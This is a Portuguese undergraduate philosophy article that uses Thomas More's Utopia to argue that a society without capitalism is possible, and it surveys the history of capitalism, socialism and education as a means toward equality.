A POSSIBILIDADE DE UMA SOCIEDADE ISENTA DE CAPITALISMO

A POSSIBILIDADE DE UMA SOCIEDADE ISENTA DE CAPITALISMO

A POSSIBILIDADE DE UMA SOCIEDADE ISENTA DE CAPITALISMO

 

Naidion
Concencio Brovedan*

 

RESUMO: Thomas Morus ao escrever sua obra, tinha como objetivo
denunciar fatos e explorações que estavam sendo realizadas contra o povo
inglês. Por isso, nela encontramos um perfeito retrato de uma anti-Inglaterra,
ou seja, anti-capitalista, baseada na igualdade e na justiça, e com uma
excelente educação, condição necessária para a igualdade. Sendo assim, este
estudo usa dessa obra como base para analisar a atual condição econômica, e
também como exemplo de que pode existir uma sociedade sem precedências
capitalistas. Usa-se nesse estudo também, conceitos do capitalismo para
desmistificar algumas passagens da obra que deixam-na com alguns resquícios de
capitalismo.

Palavras Chave: Utopia. Capitalismo. Sociedade.
Sistema econômico.

 

INTRODUÇÃO

Neste artigo, pretende-se mostrar
que é possível a existência de uma sociedade sem ter como base econômica o
capitalismo. Para isso, em um primeiro momento, será mostrado como se deu a
recepção e a discussão utópica na renascença, anos que sucederam a publicação
da obra de Morus, que vai ser abordado de maneira objetiva e com análises
críticas, tendo em vista a praticidade e realização da mesma na época da
publicação e nos dias atuais.

No segundo capítulo, se abordará
o assunto capitalismo. Neste será os conceitos, criação, evolução e condição
atual do capitalismo. Isso será de grande importância neste artigo, para tirar
as más interpretações que há sobre a obra de Morus, onde em algumas passagens,
dá o parecer que esta possui algumas atitudes capitalistas.

No último capítulo, irá se
demonstrar a possibilidade da existência de uma sociedade baseada na igualdade
entre os cidadãos, mostrando quais atitudes devem ser tomadas para uma real
aplicação dessa igualdade. Para isso se usará da obra de Thomas Morus[1] como um exemplo de sociedade
não capitalista, e será citado exemplo de sociedades que tiveram outras formas
de sistema econômico.

Esse não é um trabalho que enfoca
apenas o contexto imaginário, embora a temática da obra designe expressamente
um sonho, mas trata esse contexto como algo que pode vir a ser realidade em
nossa sociedade pós-moderna, cheia de acontecimentos e ideologias.

Foram muitos os que vieram depois
de Morus com essas idéias de contra cultura, cidades perfeitas baseadas em um
contexto totalmente diferente ao real. O século XX, talvez tenha sido o que
mais refletiu sobre esse assunto, pois foram grandes os números de publicações
que traziam novas idéias, novas atitudes e novas soluções.

 

1 O PENSAMENTO POLÍTICO NA RENASCENÇA

 

Pode parecer um pouco paradoxal,
sem dúvida, colocar a literatura utópica, inaugurada por Thomas Morus com sua
obra Utopia publicada em 1516, no mesmo plano de escritos que professam um
realismo desabusado e às vezes cínico. É que essa literatura utópica, criadora
de repúblicas imaginárias, não resulta de um desconhecimento do mundo real.
Isso é encontrado explicitamente no primeiro livro, como citado a seguir

Temo bastante que a Inglaterra não tenha sofrido todos
os efeitos desses deploráveis abusos. Até agora os engordadores de gado só
provocam a carestia nos lugares onde vendem; mas à força de transportar o gado
do lugar onde compram, sem lhe dar tempo de reproduzir, o seu número acaba por diminuir,
insensivelmente, e o país acabará por cair numa horrível penúria. Assim, o que
devia fazer a riqueza de vossa ilha fará a miséria, devido à avareza de um
punhado de miseráveis[2]

O sonho das cidades imaginárias, a esperança de um mundo
melhor, livre de injustiça – elementos comuns das utopias – são originários,
também, de culturas pagãs e cristãs. A utopia tanto na palavra quanto na forma,
parece estar indissoluvelmente ligada a experiência da “modernidade”.

As utopias renascentistas parecem
ser bem mais realizáveis do que as criadas antigamente. Por outro lado, nem
mesmo os outros autores consideravam suas obras realizáveis. Porém todas foram
movidas pelo desejo de criticar a sociedade de sua época e de propor formas de
mudança. Deste modo as utopias se tornam revolucionárias.

A pluralidade de acontecimentos e
pensamentos acontece nessa época de transição da idade média para a moderna,
com o que chamamos de renascimento. Percebemos que o pensamento utópico de um
governo ideal, leva Thomas Morus a escrever e também dar as linhas para a
criação de uma cidade perfeita.

A intenção de Morus era, sem
dúvida, de pintar a situação religiosa do mundo de seu tempo, como é constatado
na segunda parte do livro, onde trata das religiões.

 

1.1 ASPECTOS DO SURGIMENTO DA UTOPIA

 

As obras utópicas mais conhecidas
é, por totalidade, o desenvolvimento de uma sociedade justa, tendo como base os
erros cometidos. Já Platão em sua República, uma notável exceção, explica qual a natureza essencial de uma república para que ela funcione corretamente. Como
citado em sua obra

Há ainda uns outros servidores, segundo julgo, que,
pelo seu intelecto, não seriam muito dignos de serem admitidos na nossa
comunidade, mas são possuidores de uma força física suficiente para trabalhos
pesados. Esses vendem a utilidade da sua força e, como chamam a seu preço
salário, designa-se, julgo eu, por assalariados. Não é assim?[3]

 

 

O pensamento utópico não exprime
somente uma inquietude diante do desenvolvimento das monarquias nacionais e de
suas conseqüências nos planos econômicos e sociais, ele traduz o projeto de
submeter à sociedade a potência de uma razão que mede, calcula, ordena e
conquista a maestria sobre o futuro.

No livro, Morus, descreve a ilha
de Abraxá de forma que ela não surge de repente com todos os seus moradores,
cidades e casas, mas pela conquista de Utopus sobre os nativos, de forma que o
conquistador empreendeu luta para dominá-los. Após ter dominados os indígenas,
foi lhes aplicado uma educação capaz de torná-los um povo superior a qualquer outro.
Isso é descrito por Morus logo no início do segundo livro, como se pode
perceber na citação seguinte

Se se der crédito às tradições, aliás plenamente
justificada pela configuração do país, esta terra não foi sempre uma ilha. Chamava-se
antigamente de Abraxa e se ligava ao continente; Utopus apoderou-se dela e
deu-lhe seu nome […] Este conquistador teve bastante gênio para humanizar uma
população grosseira e selvagem e para formar um povo que ultrapassasse todos os
outros em civilização[4]

Como hoje, todos os povos
invadidos são inconscientemente divididos, pois uns ficam contentes com o fato
e, contrapartida, outros se enchem de desgosto, na ilha não foi diferente,
alguns proclamavam Utopus como um grande herói, e outros ficaram insatisfeitos.

A obra é escrita num latim
elegante, e é a primeira forma de diálogo, pois descreve, de modo realista, os
males da sociedade inglesa. As penas aplicadas aos ladrões não diminuíam seu
número, frequentemente os fazendeiros eram expulsos de sua terra e espoliados
de todos os seus bens.

A composição original da obra
suscitou numerosas interrogações, uma vez que alguns só viam a obra como um
puro exercício de retórica. Rafael Hitlodeu, personagem criado por Morus, um
viajante cheio de ciência e experiência, é o principal interlocutor da
conversa, que constitui pretexto para a obra. Mas esse artifício literário não
deve confundir o leitor: Rafael é somente o porta-voz de Thomas Morus, e sua
insistência em descrever os benefícios da paz e os horrores da guerra, na
primeira e segunda parte do livro, é somente com o intuito de fazer uma amarga
crítica à política dos reis Henrique VII e Henrique
VIII. Como citado

No livro I, Hitlodeu critica as políticas repressivas,
com a seguinte afirmação: “Confessai, pois, – ó vós que não sabeis governar
senão arrebatando aos cidadãos a subsistência e as comodidades da vida! –
confessai que sois indignos e incapazes de dirigir homens livres!”
[5]

1.1.1 Ideal de Uma Sociedade Unida

 

Tanto na Utopia como em qualquer
obra utópica, todas as coisas são possuídas em comum, pois o bem público não
pode florescer onde há necessidade privada, e sem a comunhão dos bens não se
tem igualdade. Por isso todos trabalhavam de forma igual, pois, para Morus, a
escravidão se dava pelo fato de alguns trabalharem muito enquanto outros se
ocupavam em nada fazer. Isso é muito evidenciado em sua obra, “Os habitantes da
Utopia aplicam aqui o princípio da posse comum. Para abolir a idéia da propriedade
individual e absoluta, trocam de casa todos os dez anos e tiram sorte para que
lhes deve caber na partilha.”[6]

Como vemos hoje, por experiências
comprovadas com o anarquismo, uma sociedade sem regras não possui êxitos. Partindo
desta afirmação, Thomas Morus elaborou uma série de regras e leis, pois para
ele elas seriam um meio que poderia garantir a igualdade entre os cidadãos. É
possível perceber na obra também que Morus defendia a educação como um segundo
meio de manter a igualdade, ao ponto que uns mais cultos logo se apoderariam
dos outros por meio de sua ignorância.

Embora sendo dependentes das
leis, de modo que para saírem de casa necessitavam do aval dos magistrados, o
autor descreve seus cidadãos felizes com aquilo que fazem. O bem comunitário
entre eles era algo normal, pelo fato de que desde sua fundação, Utopus já lhes
ensinou essa virtude para que tudo fosse feito com muita felicidade. Os jardins
eram cuidados com muito zelo, as casas – construídas para abrigar seus
habitantes do enorme fluxo de vento – eram trocadas de tempo em tempo, de modo
a não se apegarem a tais propriedades, e tudo isso feito por imenso prazer.
Como descrito na passagem seguinte

Os cidadãos da Utopia aplicam aqui o princípio da
posse comum. Para abolir a idéia da propriedade individual e absoluta, trocam de
casas todos os dez anos e tiram a sorte da que lhes deve caber na partilha. Os
habitantes das cidades tratam de seus jardins com desvelo; cultivam a vinha, os
frutos, as flores e toda a sorte de planta. Põem nessa cultura tanta ciência e
gosto que jamais vi em outra parte maior fertilidade e abundância combinadas
num conjunto mais gracioso.[7]

1.1.2 Economia Agrícola

 

A atividade agrícola na ilha era
feita por todos os cidadãos, para isso se revezavam de dois em dois anos. As
propriedades agrícolas eram dispostas da seguinte forma: quarenta indivíduos,
entre eles homens e mulheres, e dois escravos. A forma de revezamento é tão bem
estruturada, que nunca é substituído os quarenta indivíduos no mesmo ano, mas
sim vinte por ano, para que os que chegam tenham instrução da continuação do
trabalho desenvolvido pelos outros que voltaram para as suas cidades.

Os agricultores cultivam a terra, criam animais,
juntam madeira e transportam o restante para as cidades visinhas por água ou
por terra […] Esta renovação bienal tem ainda outra finalidade que é não
consumir por muito tempo a vida dos cidadãos nos trabalhos materiais e penosos
[8]

Esse modo de revezamento é tão
interessante que ao passo que um trabalha na agricultura, outro trabalha na
cidade e outro estuda, pois nas utopias percebe-se um grande número de
indivíduos inteligentes, embora a maioria dos serviços seja braçal.

Os utópicos eram muito racionais
em tudo o que faziam, um exemplo podemos notar na seguinte citação

Os bois são empregados exclusivamente na lavoura e no
transporte. O boi não tem a vivacidade do cavalo, mas o sobrepunha em paciência
e força; é menos sujeito as moléstias; custa menos para ser nutrido, e quando
não serve mais para o trabalho, serve para a mesa.[9]

Nas escolas as crianças aprendem
as teorias e praticam-nas nos campos visinhos da cidade, para onde são levados
em passeios recreativos. Isso para que desde pequeno eles já aprendam a mexer
com a terra e com os demais instrumentos de trabalho.

Além deste serviço, o da
agricultura, era ensinado a cada um outro ofício especial como tecer lã e
linho, exercer o ofício de pedreiro ou oleiro e a mexer com a madeira ou com o
metal. De forma que a união destas tarefas resultava no bom funcionamento das
cidades.

 

1.2 RELAÇÕES SOCIAIS

 

Aqui se percebe uma forte
relação, não apenas de cidadãos educados numa cultura comunitária, mas também
familiar, o que acarreta na formação da cidade perfeita. Contudo não é pelos
laços de parentesco que vão se aproximar, constituírem e fazerem do seu ambiente
um ambiente agradável a todos. “A cidade se compõe de famílias, na sua maioria
unida pelos traços de parentesco”.[10]

 

1.2.1 O Cotidiano dos Utópicos  

A cidade basicamente é
constituída pelas famílias. Existem certas regras, como comentado, para que a
cidade possa funcionar perfeitamente sem que fique sobrecarregada de pessoas.
Quando isso acontece, o excedente migra para uma cidade menos populosa. Por
respeito e experiência, o homem mais velho de cada família é quem a presidi. Já
por sua vez, as mulheres e as crianças, passam o dia a mando deles.

A vida da ilha é basicamente
comum. No trecho seguinte de Morus se percebe melhor que os habitantes punham
tudo em comum no “mercado das coisas necessárias à vida”. Neste, cada pai de
família pode pegar o que é necessário para a alimentação de sua família daquele
determinado dia. “[…] no centro de cada quarteirão, encontra-se o mercado das
coisas necessárias à vida”.[11]

As relações da ilha são bem
acentuadas nas refeições. Uma trombeta marca a hora das refeições e todos os
cidadãos se dirigem para um refeitório comum, – vale lembrar que a Utopia é
dividida em cidades – os enfermos e acamados não participam das refeições
comuns.

O fato de eles comerem juntos não
é porque não possa fazê-lo em casa, mas porque lá não sentem prazer. O que tem
essa república para que o indivíduo se relacione de tal modo com os outros de
modo a abrir mão de das refeições familiares?

Na Utopia fala-se muito de honra.
O fato de os cidadãos comerem em comum possa ser somente pelo fato de se honrarem
perante seus concidadãos. Um outro motivo muito provável é realmente o simples
sentimento de realização em estar com os outros, implantado pelo conquistador
desde a alfabetização dos nativos.

 

1.2.2 Relações das Religiões com os Utópicos

 

Há um sincretismo religioso na
ilha, onde cada cidadão pode expressar a sua forma de culto e louvar a qualquer
que seja a divindade, pois, para Morus, não existe uma cidade perfeita sem a
livre escolha de crença ou até mesmo que o indivíduo não queira aderir a nenhuma
delas. “As religiões na Utopia variam, não unicamente, de uma província para a
outra, mas ainda dentro dos muros de cada cidade”[12]

Porém, mesmo assumindo a outras
crenças, todos eles têm Deus como o criador, anunciado por Cristo seu filho.
Rafael Hitlodeu, sendo católico de bons costumes tradicionais, leva o
catolicismo à ilha. Grande parte dos habitantes, após sua pregação, se converte
e adere ao catolicismo.

A tradição de livre opção
religiosa deve-se ao fato de que Utopus ao chegar à ilha, deparou-se com as
tribos indígenas dividas devido às crenças. Isso foi causa da grande facilidade
de conquista, pois nem na guerra eles se uniam. Para dificultar invasões e
desunião Utopus educou seu povo assim.

Os pastores das crenças
existentes na ilha, mesmo não governando, possuem uma grande influência sobre o
estado. Isso se pode notar na própria obra, como cita Morus, “Os padres
escolhem suas mulheres na fina flor da população” [13]. A educação também é confiada
a esses pastores, para ensinarem moral e virtudes, de preferência os da ciência
e os das letras.

 

1.2.3 Os Magistrados

 

Na área política da Utopia, há
uma hierarquia entre os governantes com posições elevadas. Isso para que haja
ordem na ilha? Até hoje não houve forma de governo socialista que desse certo,
de acordo com Albornóz “Depois de setenta anos […] os regimes socialistas não
tinham conseguido estabelecer a sociedade justa e de bem-estar que pretendiam
seus primeiros ideólogos”[14]

Os Magistrados eram, na Utopia,
uma espécie de fiscais controladores dos bens e organizavam as famílias. Parece
um tanto contraditório uma cidade perfeita com tanta opressão. Cabe lembrar que
no contexto e na época em que Morus viveu, tudo isso foi contra aos princípios
Ingleses, obtendo grande conquista ao publicar este livro.

Vê-se na obra uma justificação da
igualdade, o ponto a que desce os magistrados para demonstrarem respeito. Mas é
claro que a situação em que se encontram os magistrados é de puro privilégio,
ao contrário dos operários e agricultores. Em conseqüência disto, os
trabalhadores lutam para desenvolver capacidade intelectual para deixar a sua
vida de trabalho penoso e passarem a possuir o título de letrado, o que não
deixa de ser um fato positivo. Isso é notável ao ler o seguinte fragmento, “Se
ao contrário, e o caso é freqüente, um operário consegue adquirir uma instrução
suficiente, consagrando suas horas de lazer aos estudos, fica isento do
trabalho mecânico e sobe a classe dos letrados” [15]. É na classe dos letrados que
o cidadão tem oportunidade de ser eleito embaixador, padre, traníbora ou até
mesmo príncipe da ilha.

 

2 CONCEITO, HISTÓRIA E EVOLUÇÃO DO CAPITALISMO

 

Para um melhor entendimento deste
capítulo, destinado ao esclarecimento do termo capitalismo, faz-se necessário
mencionar um pouco da história do mesmo.

Desde o nascimento da humanidade,
cerca de 10.000 de anos segundo os cientistas, a relação básica da
sobrevivência dos bandos era a troca. Sem o costume e a possibilidade de
armazenar alimento, o homem criou a necessidade de dividir seus bens, visto que
sendo nômades, o transporte se tornava inviável. Se um matasse um elefante,
este era posto em comum, pois sendo um animal de grande porte, o consumo se
tornaria lento para uma pessoa só.

Depois de muitos anos de
aperfeiçoamento, tanto na parte habitacional como na parte de conservação dos
alimentos, as relações de troca entre os homens foram se aperfeiçoando,
passando de troca necessária para troca opcional. Por exemplo, se um camponês
da idade média tinha para seu consumo próprio cinco sacas de arroz e seu
visinho dois porcos, ele podia trocar uma ou mais sacas pelo porco excedente do
outro. Porém, isso não se fazia de modo obrigatório, ao contrário de sua
relação com o senhor feudal, que se dava através de trocas necessárias. Se o
senhor concedesse um pedaço de terra ao servo, este teria que lhe pagar uma
espécie de aluguel. Como descrito a seguir

Na Europa, a terra era controlada por senhores
militarmente poderosos que conseguiam apoio militar de nobres de categoria
inferior em troca do controle que lhes concedia sobre um território
especificado. Esse controle incluía o direito de apropriar-se para uso próprio
de parte do que era produzido pelos camponeses, que viviam presos à terra por
tradição, e pelo monopólio das armas e perícia em seu uso exercido pela
nobreza. Os camponeses eram dominados pela nobreza local, mas, ainda assim,
exerciam algum controle sobre os meios e processos de produção.[16]

No final da idade média, também
conhecida por baixa idade média, com a explosão populacional no interior dos
feudos, vários habitantes foram expurgados para longe da proteção do rei,
criando-se então os burgos. Estes eram os lugares onde os burgueses se
abrigavam. Sua estrutura era muito semelhante a do feudo, com muralhas, fossos
e torres. Porém, não existia ali, a relação de troca obrigatória, pois era
inexistente o vinculo entre senhor e servo. Para garantir a sobrevivência, os
burgueses desenvolveram o comércio extra-feudo. Este comércio se fazia, não em
uma só demarcação territorial, mas entre vários lugares, passando de
propriedade em propriedade. “O capitalismo é um sistema econômico surgido na
Europa nos séculos XVI e XVII.”[17]

As divergências entre medidas e
valorizações monetárias, visto que cada feudo possuía sua moeda, fez surgir uma
universalização das medidas e intitulou uma só moeda em toda a Europa.

Como a demanda do comércio se
tornou muito abrangente, os comerciantes começaram a reunir funcionários em
lugares únicos, o que hoje conhecemos por fábricas. A relação entre o
proprietário e o funcionário, era tão somente pelo dinheiro, pois o funcionário
vendia sua força de trabalho.

A partir de evoluções na área do
comércio, chegamos a situação capitalista tão conhecida hoje por nós.

 

2.1 O CAPITALISMO MODERNO

 

A partir das revoluções liberais
da Idade Moderna o capitalismo se estabeleceu, pela primeira vez, como sistema
econômico predominante nos países d Europa ocidental. Algumas e mais
importantes dessas revoluções foram a Revolução Inglesa (1640-1660), a
Revolução Francesa (1789-1799) e a independência dos Estados Unidos, que
construíram a armação institucional de suporte ao desenvolvimento
capitalista. E assim deu-se início ao capitalismo moderno.

Depois da implantação do
capitalismo a partir da segunda metade do século XVIII, com a Revolução
Industrial, iniciasse um processo ininterrupto de produção coletiva em massa,
gerando lucro e acúmulo de capital. As sociedades vão superando os tradicionais
critérios da aristocracia, principalmente a do nascimento. Surgem as primeiras
teorias econômicas modernas: a Economia Política e sua ideologia
correspondente, o Liberalismo.

A economia
capitalista do século XIX, vivia um momento muito competitivo, onde para um
ramo de atividade existia várias empresas, o que não é diferente no século
atual. Estas empresas eram, geralmente, de pequeno porte. Sendo assim, o
governo não tinha participação alguma na economia e isso o tornava
essencialmente político.

Entretanto, a
partir da primeira guerra mundial, o capitalismo sofreu diversas mudanças. A
primeira foi o fato de os Estados Unidos dominar o mercado capitalista,
passando assim a ser um capitalismo monopolista. Isso foi possível por dois
motivos principais:

Várias empresas,
que eram pequenas, foram a falência. As maiores compraram as menores e as que
sobraram se uniram ( aqui se encontra o surgimento da sociedade anônima). Deste
modo, as grandes empreses começaram a controlar sozinhas o ramo de suas
atividades.

A partir das
grandes crises econômicas, ocorridas entre 1929 e 1933, o governo passou a
interferir na economia, controlando os créditos, os preços, as exportações e
importações, porém, sempre tendo em vista os interesses das grandes empresas.

Isso
pode ser comprovado a partir do texto de Albornóz

 

O desemprego, as crises nos balanços de pagamentos , a
inflação, a instabilidade do sistema monetário internacional e o aumento da
concorrência entre os grandes competidores caracterizam as chamadas crises
cíclicas do sistema capitalista.
[18]

 

2.1.1 Teoria Capitalista

A
propriedade Privada, ou então, o livre mercado como mecanismo para o movimento
e acumulação de capital são destacados como a essência do capitalismo. Este
também é medido através da análise das classes sociais, ou ainda pela
observação do crescimento de um sistema de mercado.

Isso pode-se observar na seguinte teoria capitalista

 

 

 

Sistema econômico baseado na propriedade privada dos
meios de produção, na busca racional do lucro atravéz da produção e do
comércio, no trabalho de indivíduos que só obtêm os meios de subsistência
cedendo a própria força de trabalho aos proprietários do meio de produção […][19]

 

 

 

O
capitalismo é diferente do antigo mercantilismo por causa da comoditificação da
terra, da mão-de-obra e da moeda e chegou à sua forma madura como resultado dos
problemas que surgiram quando sistemas de produção industrial necessitaram de
investimentos a longo prazo e envolveram riscos correspondentes em um âmbito de
comércio internacional. Falando em termos históricos, a necessidade mais
opressora desse novo sistema era o fornecimento assegurado de elementos à
indústria – terra, maquinários e mão-de-obra – e essas necessidades é que
culminaram com a mencionada comoditificação, não por um processo de atividade
auto-organizadora, mas como resultado de uma intervenção do Estado deliberada e
frequentemente forçada.

Várias teorias
chamam a atenção para as mais diversas formas econômicas que se
institucionalizaram na Europa entre os séculos XVI e XIX, principalmente com o
envolvimento do direito dos indivíduos e grupos de agir como “pessoas legais”
na compra de bens, terra, mão-de-obra e moeda, em um mercado livre, apoiados
por um estado para garantir o reforço dos direitos da propriedade privada, de
forma totalmente diferente ao antigo sistema feudal de proteções e obrigações.

Devido à vagueza do termo, surgiram controvérsias quanto ao capitalismo. No próprio
capitalismo há uma disputa interna entre ser real ou ideal, ou seja, se ele já
foi implementado em economias particulares ou se ainda não é, neste último
caso, a que grau o capitalismo exite nessas economias? Sob um ponto de vista
histórico, há uma discussão se o capitalismo é específico a uma época ou região
geográfica particular ou se é um sistema universalmente válido, que pode
existir atravéz do tempo e do espaço. Alguns interpretam o capitalismo como um
sistema puramente econômico; outros, porém, admitem que ele é um complexo de
instituições políticas, sociais e culturais.

3. A SOCIEDADE E O CAPITALISMO

 

Na nossa atual condição como
sociedade, é quase impossível imaginar uma sociedade perfeita, sem pobres, sem
mendigos, sem dinheiro, sem todas as regalias tecnológicas que existem. Isso é
fruto de uma contraposição de valores, que segundo Marx, se tornou uma
alienação.

Durante a história, muitos
humanistas e economistas se preocuparam com as desigualdades existentes na
humanidade. A forma mais conhecida dessa manifestação são as criações de outros
modelos econômicos e sociais, como é o caso mais recente de Marx, com a teoria
marxista. Entre eles está também o humanista Thomas Morus, autor da obra Utopia
– citada no primeiro capítulo. Este desenvolveu uma sociedade igualitária, onde
sua preocupação primária era a não existência de posses particulares, pois
esta, para ele, seria o fator principal para a criação de divisões. Durante o
desenvolvimento, Morus percebeu que era impraticável uma sociedade baseada na
liberdade e na igualdade. Sendo assim ele optou pela igualdade. Por isso na
obra é comum a atitude dos cidadãos, que “para qualquer tipo de viagem é necessária
autorização. Se alguém for pego em viagem sem a autorização é severamente
punido e se reincidir, perde a liberdade.” [20]
Entre essas houve diversas obras com o mesmo contexto.

Na pós-modernidade tivemos
exemplos concretos de sistemas econômicos contrários ao capitalismo. Porém, é
difícil hoje encontrar-mos uma sociedade que não viva de acordo com a economia
mundial, o capitalismo. Um único exemplo que temos é Cuba, onde seu sistema
econômico está voltado para o comum, sendo assim orientada economicamente pelo
comunismo. Já durante os séculos XIX e XX, foram muitas as sociedades que se
opuseram à tendência econômica mundial. Essa oposição foi tão forte que guerras
foram travadas, como é o caso da guerra fria.

Na guerra da Coréia, assim como
em todos os conflitos, o capitalismo, liderado pelos Estados Unidos, buscava a
liberdade da população. O socialismo por sua vez, tendo como liderança a antiga
União Soviética, sempre teve uma ótica igualitária, e por isso lutava por um
mundo igual. Cabe aqui ressaltar mais uma vez a idéia de Morus que não se pode
conciliar a igualdade e a liberdade.

Sabendo o resultado do
socialismo, podemos afirmar que a liberdade é superior a igualdade, ou seja,
uma sociedade é capaz de viver com a divisão de classe, mas não pode viver com
o pouco em comum, igualdade. Essa afirmação, porém, é muito tendenciosa. Basta
consultarmos um livro de história e veremos que União Soviética e os demais
países socialistas, não aderiram à tecnologia e a sua fabricação pelo temor da
desvalorização humana no trabalho, ou seja, o homem ser trocado por máquinas, o
que é comum na sociedade em que vivemos. Por isso, os países socialistas
aderiram à produção bélica. Contudo, se fosse dado mais ênfase no
desenvolvimento tecnológico, esses países estariam entre as maiores potencias
mundiais. Podemos comprovar isso no grande exemplo da China. Após muito tempo
fechada no socialismo, se abre para o mundo com muita cautela e se torna uma
grande potência. Conforme o trecho citado a seguir

A União Soviética não desenvolveu a fabricação de
computadores e telecomunicação de última geração, pois essas inovações poderiam
retirar os empregos de milhões de pessoas. A evolução tecnológica ficou
restrita apenas à indústria bélica. O planejamento centralizado também criava
problemas ao desenvolvimento industrial, aumentando o desperdício de energia e
matérias-primas e a ineficiência administrativa. Os índices de produtividade
caíam, enquanto os do países ocidentais desenvolvidos cresciam.
[21]

 

 

3.1 A POSSÍVEL MUDANÇA DE SISTEMA ECONÔMICO

 

Pelo que vimos e tratamos nos
primeiros capítulos e nos início deste, podemos afirmar que é possível sim a
existência de uma sociedade totalmente livre do capitalismo.

Sabemos que isso, de fato, é uma
“utopia”. Se partirmos da análise de Morus, citada anteriormente, será necessário
optar por uma igualdade, e isso sabemos que é improvável numa sociedade que
tanto luta pela liberdade. Isso fica comprovado no seguinte escrito de Morus

Esse grande gênio previa facilmente que o único meio
de organizar a felicidade pública, fora a aplicação do princípio da igualdade.
Ora, a igualdade é, creio, impossível num Estado em que a posse é particular e
absoluta; porque cada um se apóia em diversos títulos e direitos para atrair
para si tudo quanto possa, e a riqueza nacional, por maior que seja, acaba por
criar na posse de um reduzido número de indivíduo que deixam aos outros apenas
indigência e miséria.[22]

 

Para Morus, a resolução desse problema está
intimamente ligado à educação. Uma boa educação desenvolvida com as crianças,
para ele era fundamental, pois dessa forma elas cresceriam com uma mentalidade
voltada para a igualdade. A educação também, segundo Morus, ajuda no próprio
fato da igualdade, pela questão de que, se todos tiverem uma mesma formação,
não haverá alguém que se sobreponha a um outro, visto que todos têm o mesmo
grau de escolaridade. Para comprovar que a educação na obra de Morus é algo de
extrema significância e de muitos resultados, observemos a seguinte passagem

Os Utopiano recolhem pérolas na sua costa, diamantes e
pedras preciosas em certos rochedos. Sem ir à cata desses objetos raros, eles
gostam de polir os que a sorte lhes presenteia, a fim de adornar os seus
filhinhos, que ficam orgulhosos de trazer esses ornamentos. Mas, à medida que
crescem, percebem logo que estas frivolidades não convêm senão às crianças
pequenas. Então, não esperam pela observação dos pais; espontaneamente e por
amor próprio livram-se desses enfeites. É como entre nós, quando as crianças
vão crescendo, vão abandonando as bolas e as bonecas.[23]

 

Na citada passagem podemos
observar que a educação das crianças, quanto aos bens materiais, é tão intensa
que eles mesmos, de acordo com o crescimento, se dão conta da não valorização
desses bens. Esse desprezo era tão levado a sério na ilha, que os metais preciosos
eram usados para fabricação de vasos sanitários, correntes e algemas para os
escravos. Essa técnica fazia com que a criança desde pequena assemelhasse esses
metais como algo ruim. Esse sistema de educação é encontrado com muita
freqüência no livro de Huxley, intitulado de The Brave New World. Como
cita Adorno

No livro de Huxley o termo conditioning
significa a perfeita pré-formação do ser humano por meio da intervenção social,
desde a procriação artificial e o controle técnico do consciente e do
inconsciente nos primeiros estágios da vida até o death conditioning, um
training
que retira das crianças o horror diante da morte, colocando-as
diante de moribundos ao mesmo tempo em que são distribuídas guloseimas, para
que a partir desse momento as crianças associem a morte a algo doce.[24]

Um outro fator relevante na
aplicação de uma sociedade sem o capitalismo, voltada somente para igualdade,
são as autoridades. Morus defendia a tese de que uma revolução deveria ser,
antes de tudo, desenvolvida pela camada mais inferior da sociedade. Isso para
que a camada superior, ou seja, os nobres, os chefes de estado e o clero, não
se opusessem a tal decisão. Essa observação, clara na obra de Morus, é de uma
validade tão significável, que temos vários exemplos de revoluções brasileiras
que não deram certo por haverem durante sua conspiração e preparação, denuncias
dirigida ao estado. Um exemplo muito significável é a Inconfidência Mineira.
Isso pode ser percebido na seguinte passagem

Mas a ousadia de Tiradentes era por demais ostensiva e
imprudente para não ser denunciada: desde 15 de março de 1789, tudo fora
revelado ao governador de minas, o visconde de Barbacena, Luís Antonio Furtado
de Mendonça pelo coronel Joaquim Silvério dos Reis e pelos tenentes-coronéis
Basílio de Brito Malheiro e Inácio Correia Pamplona. Natural de Leiria, em
Portugal, Silvério dos Reis era homem altivo, de mau coração, sobrecarregado de
dívidas e inimigos acérrimo do desembargador Tomás Gonzaga, que acusou
caluniosamente no processo. Os dois outros também naturais de Portugal.
[25]

Entre esse, podemos citar vários
outros exemplos de revolução que, antes ou depois de sua aplicação, foram
vetados pelo governo e suas forças armadas. Neste contexto podemos fazer alusão
também ao fato mencionado acima, a educação. Tomando ainda como exemplo a
Inconfidência Mineira, e guinando para o assunto da educação, percebemos que o
estado impõe de forma psicológica uma repressão sobre a população. Em Minas
Gerais, por exemplo, os membros do corpo de Tiradentes, chefe da revolução,
foram espalhados pelos postes da cidade e sua cabeça fixada na praça central.
Dessa forma, assim como na Utopia e no The Brave New World, o estado, hoje,
ainda educa seus cidadãos pela associação.

 

CONSIDERAÇÕES FINAIS

 

Partindo do objetivo descrito na introdução
desse artigo, conclui-se que uma sociedade sem ter como base econômica o
sistema capitalista é possível. Isso é muito perceptível na obra de Morus,
assim como na maioria das obras utópicas apresentadas durante a evolução
social. Teremos muitas dificuldades para a implantação dessa nova sociedade,
uma vez que os dominantes, detentores do poder, jamais permitiriam. Por isso
que para Morus a renovação se faz através da educação.

Os sistemas que tentaram se opor
a tendência mundial, foram minados pela estrutura maior. Assim a utopia existe
para que possamos, com mais esperança e coragem, dar um sentido à vida. Elas
sempre existiram e vão existir, seja na capacidade de pensar do homem seja na
sua realização plena.

Considero o assunto aqui tratado,
de muita importância. Por isso esse artigo é fruto de uma pesquisa cuidadosa. Fica
em aberto para eventuais estudos. Esse tema, por sua enorme dimensão e
popularidade, jamais deverá se dar por terminado.

 

REFERÊNCIAS

 

MORUS, Thomas. Utopia. São Paulo: Editora
Escala, 2001.

GALLINO, Luciano (org). Dicionário de Sociologia. São
Paulo: Paulus, 2005. pp. 74-78.

THOMÁS, Cláudio M. História do Brasil. São
Paulo: Editora F.T.D, 1964.

ADORNO. Theodor W. Prismas: crítica cultural e sociedade. São
Paulo: Ática, 2001, p. 91 – 115

ALBORNÓZ, Suzana Guerra. Capitalismo e Sistema
Capitalista
. Disponível em: <www.renascebrasil.com.br>.
Acessado em 12 set. 2006.

JOHNSON, Allan G. Dicionário de
Sociologia
. Rio de Janeiro: Jorge Zahar Editor, 1997.

POLESI, Reginaldo. A razão como base para a formação
moral em Thomas Morus
. Curitiba, 1995.

CÁCERES, Florival. História geral. São Paulo: Editora
Moderna, 1996.


* -Graduando
em filosofia pela Universidade Católica do Paraná (PUCPR)

Rua Imaculada Conceição,
1155, Prado Velho, Curitiba – Paraná, CEP 80215-901.

E-mail:
[email protected]

[1] -O nome Thomas Morus possui
diversas formas de escrita, devido às adaptações feitas para as mais diversas
línguas. Usar-se-á nesse trabalho o nome latinizado, conforme descrito, pois
possui um sentido clássico.

[2]
